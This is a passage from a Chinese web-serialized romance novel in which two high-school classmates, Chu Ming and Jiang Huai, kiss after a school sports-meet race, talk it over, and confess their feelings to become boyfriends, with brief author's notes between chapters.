滚烫血腥的粗喘里,江淮的声音格外清爽:“跟我走两步。” “我操,赢了!” “这个是真有点儿帅!” “楚明第一!楚明第一!!!” 欢呼声炸在耳畔,楚明似乎终于有所感触,拧了下眉。 “边上来,”江淮抱着他往场外树坛背面带:“吵得脑袋疼。” 楚明双腿疲软脚步虚浮,强猛的冲刺让体力余留不多,他几乎全然撑压在江淮身上:“……嗯。” 操场边角狂呼要淡下来不少,吵闹的背景音里,江淮呼吸凌乱地把毛巾搭他脑袋上,擦了擦他额角、脸颊、脖颈上莹亮的汗水。 楚明勉强压住身体往下跪的本能,意识渐渐回笼,在心头压了良久的责问毫不客气地就出了口:“江淮你他妈跟着瞎跑什么,你膝盖经得起这么造吗?” 气喘淹没声音,听着格外嘶哑。 隔着毛巾压着楚明颈动脉的指尖蓦地顿住。 江淮站在树坛边沿,视线从他起伏剧烈的胸口缓缓上移,落在他浮出薄红的眼睛。 本来没什么的,但听到这声含混不清的诘问,心里猛然翻出巨浪。 “你——”楚明还在说话。 他却控制不住地一把揽住楚明后脖颈,掌心钳扣紧,狠地用力将人朝自己压来,滚烫的唇温划过微颤的眼皮,最终重重地压在了干涩的嘴角。 “嗯……” 瞬间,坚/挺着的意志决堤,长跑强烈的体能消耗和超脱承受范围的猛冲让楚明再难自抑地屈膝,双腿疲软,受不住地往下,单膝跪在江淮面前。 江淮的手臂连忙滑到他后腰将人稳住。 微微偏开头,垂眼,笑意碎在眉眼间:“这就跪了?” 楚明还没完全回过神来,被江淮嘴唇点盖过的眼尾、嘴角就跟有火星子烧起来似的,烫得他忽视不了。 脑海炸开一团七零八碎,他像是失去了思考能力,只是稍稍仰着头,好一会儿才哑着声音机械地问出还没问完的话:“你……膝盖没事吧?” “你说呢?”江淮耳尖也烧得慌,别开他灼热的对视,看着远处的橡胶跑道。 身前没有回答。 江淮拧了下眉,回头的瞬间腰腹被手肘一顶,他没稳住一屁股坐在树坛边缘。 随之感觉到左腿裤腿被很轻地推了上去,滚烫的指尖体温落在他小腿,而后是灼热的呼吸扫拂。 他呼吸猛地滞停。 下一秒,楚明的唇印在他左膝,伴随着剧烈的心跳起伏—— 作者有话说:哟,还有劲儿呢,小楚[吃瓜] 第55章 第 55 章 “我听得出是你。”…… “二九二九!!” “加油加油啊啊啊啊啊……” 这时候旁边跑道不知道第几号选手在做最后的冲刺, 震耳欲聋的全是加油声。 树坛边却很安静。 安静得彼此心跳声都格外清晰。 楚明偏了下头,毛巾落在地上。 他好像又有了些力气,单手按着地面把自己用力撑了起来, 站稳, 唇间残存着的细微的战栗让他下意识背过身,目光不太真切地望着远处喧闹的人群。 思绪异常凌乱,却也异常清晰。 气氛有点暧昧不清,热气浮在呼吸间, 两人多多少少都带了点对方的体温。 江淮咽了口唾沫, 弯腰捡起毛巾,手心撑在坛沿头微微后仰。 “哎,”他脚尖踹了下楚明小腿肚。 没拉伸肌肉是抽着的, 楚明险些被他踹得再次跪下。 “你转过来,”江淮又轻踹了一下,淡定地说:“我们交流一下。” 楚明身体还在打颤, 发抖的指尖捻了下, 他转过身看着江淮的脸。 “抱歉,”江淮仰着头,目光落在他绯红的耳垂, 稍微停顿后, 偏了些滑到他血色淡淡的唇, 说:“我没控制住。” 其实还是控制住了的。 不然这……其实该落在其他地方。 话完全摆在了明面上, 楚明呼吸一滞, 视线定定地落在江淮左膝良久。 他缓缓抬眼。 视线刹那相接,触电般双双飞速转开。 对面警戒线围着的跑道还在等待着最后一位选手的蠕动。 学生会的也坚/挺地拦着,没让谁都跟江淮似的堂而皇之就越线,此时树坛这块儿跟什么密地一样, 短时间内不会有人踏足。 楚明两指轻错,脑海中挥之不去的是狂奔猛冲时如影随形的冷白侧颜,是人潮熙攘里独一份的存在。 他眸光微微晃动,视线有些朦胧——估计是汗水进眼睛了。 不知道是被哪根神经接管了身体的统治权,楚明回过神时,双臂已经紧紧圈住江淮,下巴轻轻地搁在他肩窝里。 气息混乱,扑落在侧颊颈项间燥热湿润。 江淮喉结滚动,怀疑楚明的心脏是不是跳到自己胸膛里了,莫名有股引力勾得他心潮汹涌,要决堤了,他往后一手撑进泥土里,受不住地说道: “别他妈在我耳朵里喘,没劲儿了躺地上我给你找担架。” 楚明笑得腹部一抽。 不得不说这个姿势还挺狼狈,江淮坐着他站着,弯腰拥抱一下废老大劲儿的。 他慢慢直起身体,咬牙压下那股想就地躺下的累意。 “啧,”江淮状似面无表情地按捺下内心的狂跳,把左腿裤腿扒拉下去,伸手:“拉我一把。” 楚明:“……”也不知道他俩现在谁力气更多一点。 但他还是伸手拽住江淮的手腕,尽全力才把他拉起来。 “再不回去以为我们怎么了,”江淮反手扣住他手腕,晃了晃:“恢复好没?” 楚明吞咽下喉间没褪尽的血腥气:“还好。” 捞起警戒线往里走的时候两人都没再说什么。 只有紧贴着的手腕脉搏清晰热烈。 “我操,你们终于回来了……”赵逵逵连忙冲来,没留意到两人之间稍显微妙的氛围,压不动激动一个上步作势就要给楚明紧紧抱住,拍肩抚背走一套哥们礼节。 双臂刚刚展开,就被杨棉棉拉了一下。 与此同时楚明被轻轻往回拽了半步,肩头撞着肩头的瞬间,江淮掀起眼皮,有些意外地看了眼杨棉棉。 杨棉棉垂头,双颊微红。 楚明和赵逵逵简直一个模子里刻出来的,几乎同时瞪圆了眼睛,异口同声:“嗯?” 江淮淡定地看了眼赵逵逵:“他想吐,别乱抱。” 楚明:“……” “soga,”赵逵逵宽心,垂下手给杨棉棉行了个大礼:“果然还是女生心细,思虑周全。” 杨棉棉接下这顶帽子,含蓄:“嗯。” “男子三千米长跑项目。第一名,二十一班楚明;第二名,二十九班……” 主席台传来比赛名次宣读,稍稍平息了的气氛再度被点燃。 远远地甚至能听到喇叭哥跨越满操场的一声“牛逼!” “我靠,除了你全是29班的,”赵逵逵说着激动地跳了跳:“哎,要是三千在昨天就好了。” 楚明倚着江淮,歪了下头:“嗯?” “这样你就可以去跑接力,”赵逵逵挠了挠脑袋:“你耐力强,爆发力也牛逼,当最后一棒我们班绝对能赢,至少也冲前三。” “那也不能就耗着楚明一个人啊,”杨棉棉立马说:“再说他们那架势也没想赢啊。” 她说的时候往21班班级区域看了眼,那堆人就干坐着,方才楚明冲线的时候隔壁班几个同学还送祝福来着,班里的人就置若罔闻。 楚明也跟着投去一瞥,无所谓地说道:“不重要。” 杨棉棉张了张嘴,想说什么却还是没说,只是应和着:“嗯,不重要。” 喇叭哥跨越操场人群奔赴而来,身边还跟着秦苗。 没等人开口,赵逵逵先一步伸出制裁之食指:“声音小点,别吵吵。” 喇叭哥:“……”他克制地拍了几个巴掌以示祝贺。 “小楚哥,”秦苗背着相机挂着学生会的证:“我这里有点儿吃的喝的,你将就垫垫,空腹难受。” “谢谢。”楚明伸手要拿。 但秦苗却率先一步把袋子递到江淮手里,意味深长地看了他一眼:“我得去拍照片,先走了。” 等秦苗走远,赵逵逵突发感叹:“学姐真好啊。” “别感慨了,你不是替谁跑接力赛第一棒吗?”喇叭哥晃着手里的名单:“女生组棉棉是不是也参加了?” 杨棉棉点头:“啊,是。那我们先去热身什么的,你们好好休息,喝点水吃点糖。” “嗯,”楚明点了下头:“辛苦了。” “还好还好。”杨棉棉笑了笑,抬手把赵逵逵抓走:“走走走。” “诶?”赵逵逵被拽着走出几步,才:“我我我我自己走。” 江淮掂量了两下手里的三明治:“去看台吧。” 楚明轻声:“现在?” 八中领导不让坐看台,说是不搬座椅的运动会不青春,看台通常会被牵线拦起来,只是在开幕的时候当做临时舞台,爆点儿彩带彩纸。 去看台的话…… 楚明犹豫了一秒,不在乎:“走吧。” 厚大的台阶间还残留着彩条彩块,江淮和楚明擦着边缘,做贼似的攀上最顶层,大半块操场毕览无遗。 窝在边角坐下,只能靠角度偏差勉强避开可能投上来的视线——挺禁忌的。 三千米的长跑热了场子,接力赛又是班级荣誉之争,场面更是火热。 视线里警戒线边又围上一圈看热闹的啦啦人。 “有水吗?”楚明嗓根干涩,坐下时极轻地问了句。 江淮弯腰薅了薅袋子,薅出一瓶被太阳晒得发烫的水,垂眼拧瓶盖时问了句:“喝还是漱口?” 楚明还没那么讲究:“喝。” 江淮把水递他手里。 楚明捏着水瓶,仰头连着喝了几大口。 见他喝得急,江淮伸手在他后背轻轻拍了拍,顺气:“还没缓过来?” 楚明喝完大半瓶,压下喉间那股铁锈气,声音还是沙哑的:“差不多了。” 说着他微微偏头:“你呢?” “我什么?”江淮挑了下眉,明知故问:“缓没缓过来吗?” 楚明喝水:“不然?” “没。”江淮说。 “啊?”楚明皱眉,左手立刻轻抚上他左膝,也不知道该怎么做,作势要站起来给他扶到医务室:“你跟我跑了多——” “你说腿啊,”江淮笑着手心盖在他手背,把他按坐下来,像欣赏什么艺术品似的细细打量他皱起来的眉。 稍后他嘴唇轻压在楚明耳垂,低声:“我以为说别的。” 楚明的话戛然而止,被火燎着了般不可控制地耳尖烧红,他别开眼。 “腿没事,”江淮轻笑,挠了挠他手背:“我又不是傻逼,只跟了半圈。” “半圈?”楚明忽地抬头,意外地看着他,印象里后半程江淮一直在他余光里。 “嗯,”江淮说:“我跟你还没多久你就开始加速。我要是再跟跑,不知道沿途得撞飞多少人。” 楚明怔了怔。 江淮说着抬手揽住他肩头,没管下面会不会有人往上看,将他往自己这边带了些:“你跑完还来质问我,胆儿肥啊。” 楚明:“……” 他靠着江淮肩头,想坐直但奈何身体疲软无力,便就着这个姿势。 声音有些轻:“所以真的没事?” “没事。”江淮没管膝关节隐隐翻出的痛意,跳远的时候带出来的毛病,他嗓音如常:“倒是你,跑的时候在想什么?跟魂儿丢了似的。” “嗯……”楚明脸颊轻贴着他,隔着层被阳光烘暖的温热,能感觉都江淮的体温:“一点往事。” 江淮垂眼,看着他短茬的发和修长的后颈,眸光微动。 他想起楚明前两次完全无名的三千长跑,这么能跑的人怎么会进不了前三。 “但不会再想了,”楚明声音轻但坚定:“我跑出来了。” 江淮想挑眉但没挑起来,开口时嗓音滞涩:“嗯。”想起什么他不禁打趣说:“是不是听到侯俊的加油声了?就跟鞭炮似的什么思绪都给炸没了。” “没,”楚明盯着脚下宽大的台阶,上面似乎还蒙着层薄薄的灰:“先是你。” “我?”江淮顿了下,转而笑了起来。 他用指关节扣着楚明的手臂,一下又一下:“你这耳朵还挑着听呢。” “倒也不是。”楚明轻阖眼,疲累后的身体困意浓郁:“我听得出是你。” 人声嘈杂里,特别而清晰。 看台下在进行女子组4*100接力赛,翻江倒海般的呼喊声远得不真切。 鼻尖萦绕着股熟悉的气息,安定舒适,江淮扣紧了楚明,忽然说:“头发还是软点好。” 楚明:“……” 他埋在江淮衣袖间,猛地吸了口气,无奈地说:“你头发软。” 江淮抬手摸了摸自己的头发。 楚明一愣,看清他动作时笑得肩头轻抖:“傻逼。” 江淮:“……” 他垂手挠着楚明后颈,“能骂我了,精力恢复得差不多了?” 楚明:“嗯。” “吃点东西吧,”江淮另只手绕到塑料袋,里面有几颗薄荷糖、两盒三明治:“我饿了。” 楚明坐直。 三明治一人一盒。 没过半分钟楚明利落地拆开三明治盒,伸手换过江淮的。 “操,”江淮看着光秃秃能直接上嘴啃的三明治,借楚明没喝完的水洗了下手,接过时挑了下眉:“嫌弃我?” “……你开的,”楚明垂眼拆着包装盒,想起开学时江淮剥的,在心里默默扶额:“不太有食欲。” 江淮:“……行吧。” 他咬了口,还是学校那款,还是楚明拆的包装,也还是这个味道。 但有些东西却变了,变得很合他心意。 楚明四五……六七八九十口塞完三明治,搓了搓指尖,微微俯身握住小腿肚,轻拧着眉一寸一寸用力按着。 江淮扫他一眼,脚尖踢了下他脚踝:“去拉伸。” 楚明按了按腿:“嗯?” “你这样拉不开,明天有你罪受。”江淮说着,三两下收捡起包装盒,“下去,我带你拉伸。” 楚明微顿:“好。” 天色渐渐走暗,微风习习燥意淡淡还挺舒服。 接力赛结束,主席台正在集结宣读比赛名次和最终各班班级得分。 篮球场外,江淮倚着塑胶网微微垂眼,弯身轻轻按着楚明小腿,一点点加重力气,同时说道:“压腿。” 楚明照做。 傍晚时分,天色浑蓝。 运动会宣布结束,各班学生按次序带凳回班。 沿途照明灯接连亮起,哄哄闹闹里都或快或慢地往教室里赶。 楚明做完最后一个拉伸动作,身体要舒畅得多。 江淮一掌拍在他屁股:“爽吗?” “还行,”楚明拍开他的手,“走,回去搬椅子。” 江淮抬步跟上,贴他后背同他逆着人流往操场里去- 运动会后劲有点大,到晚自习第一节正式开始,班级都没压下那股燥意。 还在轰轰烈烈着。 “这么有激情,”卫疏抱着教案走上讲台,温柔地笑道:“那来篇赛后感好不好啊?” 一句话顶钟大姐核心技能,全班瞬间石化,半句话都崩不出来。 “开句玩笑怎么都跟漏气了似的。”卫疏说:“我看你们现在心思也不在学习上,上会儿自习,好好准备准备月考。” 渐渐地教室被翻页声和写字声淹没。 江淮摊着张语文试卷,没心情做,只是看着阅读题的小说节选,不太有心思地扫看着。 蓝眼……三道蓝光……欲扬先抑……个屁,选A。 再往下看到什么明暗线索、语言精当,江淮已经没有写字的心情。 脑子全是浆糊,就跟乱缠在一起的毛线球似的。 他余光始终留意着楚明,笔下的数学教辅翻了两页,做得那叫一个风生水起。 跟他妈无事发生一样。 他没来由地左膝轻颤,触电似的凭空一下,于是下午那短暂相合的触感再度弥漫感官,江淮很轻地拧了下眉: 他们现在,算什么?—— 作者有话说:明天继续。 三道蓝光……这是出自冯骥才的《蓝眼》,也是我对高中阅读理解印象最深的一篇小说。有趣,实在是有趣[眼镜] 第56章 第 56 章 “那去我那儿。”…… 一直到晚自习下课, 两人都没半句交流。 铃声一响,楚明简单把桌面两本书收拾进包里,在闹哄哄的放晚狂欢里轻拍江淮肩头:“让我一下。” “嗯?”江淮愣了两秒, 才把懒散靠在椅背的坐姿调整好。 没等他再说句什么, 楚明一脚从他身后跨过,身影便混在一堆校服里走出教室。 江淮:“……” 这是干嘛?躲他吗? 保洁的从教室前扫到教室后,垃圾都倒一圈回来了,江淮依旧坐着, 像尊石像纹丝不动地盯着桌面压根儿没动笔的专项训练题。 眉心皱着, 心绪浮乱。 良久,保洁的同学站在开关面前小声说了句:“江淮你走的时候,记得关后排的灯。” 说完, 前排灯关了,教室像被一刀劈成黑白两半,空荡里带着些诡异- “楚明啊, ”大马猴抱着保温杯坐在办公椅里, 慈眉善目地笑着:“坐。” “我站着。”楚明没动,有些无语。 他才从教室走出来,另一边书包带子还没挎上肩就被不知道在走廊蹲了多久的大马猴叫到办公室。 办公室里出奇得安静, 另几个班主任已然没了身影。 “哦, 站着也好。”大马猴在热气漂浮里抬起双眼, “我听同学说, 你今天三千米跑得飞快, 给我们班挣了个第一,我以前怎么不知道你这么厉害呢。” 楚明站姿笔挺,闻声淡淡开口:“没关系,现在知道也不晚。” 大马猴噎住:“……”这说的是什么话! 他眯眼, 不可置信地仔细打量眼前站着的男生。 一股陌生的熟悉感兜头而至,他愣了半晌,感慨:“难怪他们都说你跟你同桌待久了性格也跟着变,现在看来确实是这样,但也不能什么都跟着学,说话懂礼貌,分得清场合,情商很重要……” 楚明默着,和平时不同,他今晚没避开同大马猴的任何一次眼神接触,对视时平静而坦然。 中途反倒是大马猴主动偏过头,手里纷乱地翻着教案本,迟疑地说:“你呢,也别跟着他被带坏了。” 楚明手臂垂在身侧,听到意图时手指落到办公桌桌面,指腹点着:“我同桌?他带不坏我。” 大马猴不悦地皱起眉毛和鱼尾纹:“你这么小年纪懂什么好坏,老师看人比你准,不然你也不会突然就变成现在这副样子……所以,我想的话,给你和江淮换个座位……” 楚明微顿:“换位置?” “嗯,”大马猴点了点头:“你放心老师自有老师的考量,你跟谁坐我心里有数,你只管换位置就行。” 楚明之前是什么样他比谁都清楚,现在再让他跟江淮坐下去,21班天花板都得被掀翻。 楚明问:“怎么换?” “最大程度我听取你的意见,”大马猴见他还挺听话,心下一松:“你想怎么换?” 楚明认真思考了两秒:“我和他换。” 大马猴:“……” “不同意?”楚明指尖一点,眉眼沉静:“那就别换。我是什么样取决于我自己,江淮好坏与否并不重要,他唯一的影响在于影响我选择展现什么样的自己,而至于这层的好坏,与他并无关系。” 大马猴被说得一愣:“你是又要跟我杠了是吗?” “没有,”楚明说:“我只是在反驳您的安排。” 大马猴:“……” 这种感觉太过熟悉,带衔接班时他和楚明在办公室的第二面,楚明就是这么天不怕地不怕地跟他重申自己不需要辅导,没必要交那笔钱。 跟他的短寸似的,楚明站在这里,光是看着就让人觉得扎手。 “那……再说吧,”大马猴选择先短暂搁置一段时间:“我再想想。” 楚明浅浅颔首:“辛苦。” 大马猴:“……”何止辛苦,简直命苦。 出办公室门,楚明单肩挎包走到谈话桌边坐下,今晚月亮很圆,金黄透亮。 他十指交叉扣紧,静静地被月辉笼罩着。 心情舒畅。 留意到大马猴关门下楼,坐了一会儿楚明起身也准备回家,像是有所感应,往楼梯口走时他下意识向教室投去一瞥。 灯还亮着……一半。 楚明勾拾起剩下半边书包带子,轻着脚步走到后门,往里探去一眼——视线不知道是不是带电,投向靠窗后排的同时,里面江淮跟被电着了似的从双臂之间抬眼,眼瞳黑沉。 视线相接的瞬间,楚明指尖轻地蜷缩。 江淮趴着睡了会儿,见楚明往里走来,他懒得动,声音闷在手臂与桌面间:“你怎么还在?” 整栋教学楼都处于一种空楼状态,只有对面初三高三的教室还整整齐齐亮着灯。 “去了趟办公室。”楚明站在他课桌边,手指撑着边沿,垂眼:“你打算在这过夜?” 江淮双臂圈紧了些,空调没关教室积冷,他朝窗的方向偏过头:“不小心睡着了。” 楚明看着他后脑勺,指尖探去摸了摸他的:“起来。” “你管我。”江淮曲指弹走他的手指。 楚明:“……” 这是怎么了? 空气静下来,微小的浮尘若隐若现。 楚明定定地看了他一会儿,本能地俯身过去,轻声问:“不回家?” “不回。”江淮阖眼,声色沉冷:“你今天不去秦苗那?” “她明后天零诊,今晚要休息。”楚明说。 “也就是说,”江淮忽地坐直,因为趴睡有两小撮头发随意地翘着,他双臂抱在胸前,微微仰头直视向楚明的眼睛,声音带着些空调的凉意:“今晚没安排,是吗?” 楚明微微偏了下脸,按捺下去摸他头发的欲望:“……是。” 其实是有的,他想独自静静,想清楚一些事情,只是先一步被大马猴打搅了。 江淮掀起眼皮,眼神莫名有压迫感,审问道:“所以,你在故意躲我?” “躲?”楚明不知道他怎么得出的结论,“我躲什么?” 江淮目光渐沉,两人之间距离不算近,他稍稍仰头、楚明微俯身,视线交缠在一起,鼻息偶尔相触。 还不够。 他说道:“低点儿。” “嗯?”楚明不知道他要干什么,但还是朝他低了些身子,鼻尖几乎贴着鼻尖时,他蓦地停住,下意识抓住桌面放着的黑笔。 这个距离就近得多,江淮甚至能看清他脸颊上细小的绒毛。 楚明捏笔的动作被余光捕捉到,江淮伸手,两指夹抽走他的笔,指骨一带,笔身飞转起来,映出白炽灯下细长的虚影。 楚明指尖轻搓,没去抢笔,手随意放到桌面:“你话说明白,我怎么躲你了?” 江淮轻勾唇:“没躲是吗?” 楚明说:“是。” “那去我那儿。”江淮说。 话落时他看着楚明的脸颊,没忍住轻轻吹了口气,很遗憾,那些小绒毛没摇曳起来。 热气呼地扑来侧颊,带着股淡淡的薄荷清香,说不出来的冰火两重天,楚明指节缩紧,眼睛都睁圆了,偏过头来看他:“你知道这是哪吗?” “知道。”江淮转着笔:“怎么,你怕?” “没。”楚明喉间一滚,撤出半步,往教室外走时去关了空调:“不是回家?走啊。” 江淮看了他一会儿,把黑笔握住跟了上去- 天黑后人少,自行车流畅自如地滑出校门口,驶上沥青道路。 江淮坐在后座,手习惯性地环住楚明的腰。 今天还要放肆些,指尖勾住他衣摆,撩了两秒手指直接探了进去,手心紧紧贴住紧实的腹部肌肉。 “嘶……”楚明猛地一抖,差点连车把没控制住,眉心一压:“你手这么冷?” “我吐槽过一百遍你们班空调了。”江淮说。 楚明:“……” 等渐渐适应这股凉意,他极轻地叹了口气:“我外套,你拿就是。” “嗯。”江淮应了声,脸颊贴着他后背,轻合眼,声音掺糅着浓郁的睡意:“楚明。” 楚明微微往后倾靠了些,怕没听见他声音:“嗯?” “我抱一会儿。”江淮说着两条手臂交叉环得更紧,绕到腰侧的手在量楚明腰的厚度似的掐了掐。 楚明呼吸一紧:“你抱,别掐。” “哦,”江淮嘴上应着,实际另一只手也掐了掐,点评道:“手感不错。” 楚明:“……” 不知道江淮捏捏掐掐多久,大概是累了,动作渐渐停下来,而后能感觉到喷落在后背温热的鼻息,楚明无奈地叹了口气。 腰被环得紧,后座的人不至于掉下去,他便没多管。 自行车平稳地驶进小区,小道两旁浓郁的树影罩得视野晦暗不清。 楚明把车架打好,单腿撑在地面,“到了。” “嗯,”江淮鼻音回了声,但却没有要下车的意思,只是抱着楚明的手臂狠狠收紧,“先别走,我有话说。” 声音微哑,和夜色很搭。 楚明攥紧车把手,感觉心跳无意识在加快:“你说,我听着。” “我之前说过的话,你可以多想。”江淮说。 楚明:“……” 心跳一瞬间也没那么快了。 树影间虫鸣时响时静,长嘶一阵后归入寂静的无声。 这处离单元楼有些距离,近处是羊肠小道和人造水池,微凉的空气里拂来淡淡的草香。 楚明后背贴着江淮的胸膛,热意里涌动着澎湃。 他早说过江淮是个很简单很好懂的人,更何况现在,江淮的心脏几乎贴紧着他,就像长嘴了似的在表达。 而他听得见,也听得明白。 “我知道你要说什么,”楚明顾念着他的羞于启齿般,盯着远方地上的黑色小石子,说:“我也是。”—— 作者有话说:嗯,最后这一小段结合45章章末内容会更明白点,嘿嘿。 &还有一章[让我康康] 中间断开可能影响阅读体验,我就连发了两章。 第57章 第 57 章 “男朋友。” “你知道?”江淮挑了下眉, “你知道个屁。” 楚明:“……” 要不是腰被两根钢链般的力道索紧,他会立刻回头。 他稍稍扭头,没好气地骂说:“你有毛病?” “傻逼, ”江淮两条手臂抱他抱得更紧, 猛地一用力。 楚明被这股后拉力带得后背狠撞到他胸膛,下一瞬耳垂被柔软覆上,热浪滚着极有质感的声音入耳:“我他妈说我喜欢你,你知道?” 实不相瞒, 这一声跟怒音似的, 楚明甚至怀疑江淮是不是咬牙切齿在说。 他回敬:“那你以为呢?你以为我跟你我也是些什么!也跟你一样是傻逼吗?” “……” 静。 死一样的安静。 楚明长呼一口气,手绕到身侧抓住江淮的手腕往外一拉,站起来时还不忘用膝盖顶稳住车身, 自上而下看着他的眼睛:“还需要给你份证明报告吗?江大傻逼。” 江淮:“……” 他身体僵住,夜色笼罩下楚明的脸近在眼前,线条棱角极度优越, 他看得心头发颤。 “你后退点, ”江淮拧了下眉:“跟要审我似的。” 楚明偏了下眸,在天光黯淡里看着自己的手指卡进江淮的指缝,收紧, 抬起, 落在他的心口, 低声说:“是要审, 审它。” 江淮喉咙发紧, 垂眼,他手背正紧贴着自己跳动的心脏,一下比一下快,他甚至怕自己下一秒因为心悸嗝屁了。 恢复理智的瞬间, 江淮忽地抽出自己的手,撩起楚明衣摆便猛地探进,没顾及平时流连的腰腹,直奔滚烫的心口而去。 紧扣,感受。 楚明瞬间呼吸乱了频率。 “是挺有感觉。”江淮曲起食指,在跳动的那处叩门似的敲了敲,微勾嘴角:“要不你再说一遍?” 楚明:“……” 他拽出江淮的手甩开:“起来,车要倒了。” “哦。”江淮照做,起来时和平时一样,把背着的楚明的包撂到楚明手上。 楚明只挎上单边,三两下取了u型锁挂到后轮。 把钥匙环勾在食指,他才站直,手腕就被往外拽了一下,而后江淮的身体紧贴而来,从正面满当当地抱住了他。 肩窝里抵靠来微凉的下巴,楚明浑身一僵,淡淡的竹香撞进鼻腔侵占所有细胞和感官。 “抱我。”江淮压在他耳边说。 有一瞬间什么都是迷糊的,只有江淮的声音异常清晰,这道唯一的指令操纵着他的神经,楚明抬手,从他腰侧摸索着缓缓绕到后腰,犹豫半秒很轻地放了上去。 顾虑到江淮的身体习惯,楚明加深力道,拥紧了他。 “好香。”江淮鼻尖贴紧他绷紧的侧颈,深深地嗅了一口。 楚明没说话,只是抱着他越发用力,像是想把江淮揉进自己身体里似的,动作里带着粗暴的贪婪。 不知道抱了有多久,手臂脖子发麻,江淮才扭了下头:“还抱?” 楚明没睁开眼睛,声音哑然:“……也不是不行。” 江淮有些意外地挑了下眉,视野里楚明雪白的颈项近在吸进呼出间,被勾出心神似的,他不受控制地咬了上去。 没敢用力,齿尖轻抵着薄薄一层皮,青色的经脉好似就跳动在唇瓣之下,微弱而蓬勃。 楚明十指愈收愈紧,要是功力深些,江淮背上保不齐四五道指痕,他朝外微微偏了些头,声音有些急促:“你要是敢咬下去,我踢你。” 江淮含糊不清地用鼻音“嗯?”了声,短暂厮磨后撤开分毫,在他耳边轻笑:“我有分寸。” 夜色渐深,远处长长一阵风涤荡开。 “你有屁的分寸,”楚明清醒过来,抬腿一膝盖直接顶在江淮腹部,距离被强制拉开,他退了两步:“再不回去你明天怎么考试。” 江淮被顶得一愣,好半会儿才反应过来:“明天周六?” 楚明抬手,把腕间的手环点亮,上面显示时间22:31。 “……”江淮默了两秒:“回回回。”- 回到家,江淮固定去做那些小训练,楚明先冲了个快澡。 清爽着出来时,他脑子才总算完全清醒,把白天晚上的事情完完整整地梳理了一遍,楚明才轻倚到健身器材旁,抬手叩了下:“你去洗澡吧。” “哦,”江淮撩开被汗湿的额发,“我尽快。” “慢点儿也行。”楚明捏着衣服往洗衣机那边走。 江淮随便翻出套睡衣睡裤就往浴室去。 走到花洒底下被热水淋个透湿,才后知后觉要先脱衣服,手忙脚乱地理整收拾完,走到镜子前时,镜子不知道蒙了多少层水雾。 江淮:“……”他洗了这么久? 手指在雾面滑出一道道长痕,渐渐能看清楚自己的眉眼,他单手撑着洗手台,想了良久。 他和楚明,这算是……在一起了? 嗯,在一起了。 他嘴角牵笑,凑到镜子面前欣赏了下没什么瑕疵的脸,抓起衣服飞快地走出去。 没有任何催化因子,他无端地突然很想再抱一下楚明。 给脏衣服处以绞刑,江淮步履轻快地飞到书房门口,正要走进去却见楚明站在书桌前,站姿闲散地拿着手机在听什么。 他顿了一下,倚靠在门框里没往里走。 “还没睡着?”楚明诧异地重复了遍。 “嗯啊,明天零诊考试,老师他们都说挺重要,但我总感觉没复习好,哪哪都欠着……躺下眼睛跟死鱼似的就翻着,根本睡不着一点!” 那头好像是秦苗的声音。 江淮哼出一声笑,双手抱胸静静看着楚明的背影。 楚明默了两秒:“睡不着就不睡,起来刷题。” 那头:“……” 良久才重新冒出来声音:“那我要真是通宵了,明天怎么考试?” “正常考,”楚明站着时随手翻了翻书页,说:“影响不大。” “真的吗?怎么听着不像我能尝试的样子。” 楚明冷静地说:“知识不会被熬死。” “……小楚哥你说这话跟冷笑话似的。”秦苗默了下,“那你要是睡不着会怎么办?就像你说的起来刷题吗?真的不会影响考试状态吗?” 楚明张嘴,正想说他一般不会睡不着,腰就从后被两条有力的手臂缠紧,惯性被抱得往后退了半步,下一秒颈窝间埋来骨感的温热。 他偏了下头,于是江淮的鼻息尽数洒落在脸颊颈侧,皮肤间泛出痒意。 江淮呵笑一声,转而单手抱紧他,空出的手手指轻曲,极轻地扣响在手机屏幕上,未言,示意:回电话。 楚明:“……” “诶?小楚哥你还在吗?我以为我网卡了……”秦苗等了半晌没听到声音,连忙追问。 “在,”楚明脑袋空白了一瞬。 “哦哦哦,我现在好像零星有了点睡意,先睡睡看能不能睡着,睡不着我就起来刷题。”秦苗打了个哈欠:“小楚哥你早点休息吧,时间不早了。” “嗯。”楚明挂了电话。 书房里静下来,除却耳畔轻微的呼吸起伏,便只余下长夜的声音。 “家教还负责心理疏导呢,”江淮嘴唇贴着他耳垂,说。 “偶尔,”楚明放下手机,两手虚虚地撑着书桌桌沿:“高三毕竟压力大一点。” “也是。”江淮低伏着。 见他没有要说话的意思,楚明手肘轻顶了他一下:“怎么,你现在也需要?” 江淮依旧没说话,只是身体前压,逼得楚明几乎是趴伏在桌面。 “嗯?”楚明不知道他要做什么。 “关灯,”江淮说着,抬手把书桌边的开关拨了一下。 书房顿时陷入黑暗,两秒后才被狭小的台灯光源照出小片明黄亮色。 “我们之间,现在算什么关系?”江淮忽地出声。 声音偏低偏沉,带点倦意,有种冬天舌尖淌过热巧克力的舒适。 楚明顶靠在桌沿,目光落在被台灯照亮的书页上,他淡淡地扫完一道冗长的题干,过完思路脑根总算清晰明白,他轻声:“你觉得呢?” 江淮沉声:“我在问你。” “我知道,”楚明捏住黑笔,随手给证明题写了串证明思路,微垂眼,注视着腰间精瘦的小臂,逻辑清晰地说:“我也在问你。” 江淮:“……” 他抬起头来,盯着楚明微红的耳垂细细看了会儿,“别打哑迷,直接叫我。” “江……”楚明单字的音节没发完便已然停顿。 黑笔笔尖在书页间凝出墨团,他知道答案,却迟疑了半瞬。 “操?”江淮愣住了。 楚明撂下笔,坚定地俯身探向顶灯开光,白亮铺满整个房间时,他在江淮稍有松劲儿的双臂环抱间转过身来,直视他的眼睛,声色沉稳:“男朋友。” 书房顶灯中性光,偏柔和。 江淮没被突如其来的亮光刺得眯眼,相反瞳孔完整地捕捉进灯亮瞬间楚明转过来的脸,惊心动魄。 身体之间贴得过紧,过于越界。 楚明往后退了些许,几乎是坐在了书桌上,他抑制不住指尖的微颤,却能确保看向江淮的眼神分寸不移:“聋了吗?” “没,”江淮僵愣半刻后勾起唇角,才被影响得低迷的情绪瞬间腾升到前所未有的高点,他忍不住笑了起来:“听得很清楚。” “嗯。”楚明反手捏死了笔。 江淮笑意溢出间唇,在今天之前,他不会想到楚明两次开口均先于他。 但这样好像也并不意外,楚明也许本来就不是他第一面见到的那样,剥去藏掩的外皮,他自始自终欣赏的都是楚明内里的性子。 带刺,坚硬,强劲。 他盯着眼前人的双眸,心想:若是他早在一年前认识楚明就好了,他想看看那个青涩且有劲的少年是多么锋芒毕露。 但转念之间好像又并不遗憾,过去的楚明再鲜明那也只是楚明,但现在的楚明,是一路跟他在一起的楚明——他参与着他的人生,或多或少也改变过他的人生。 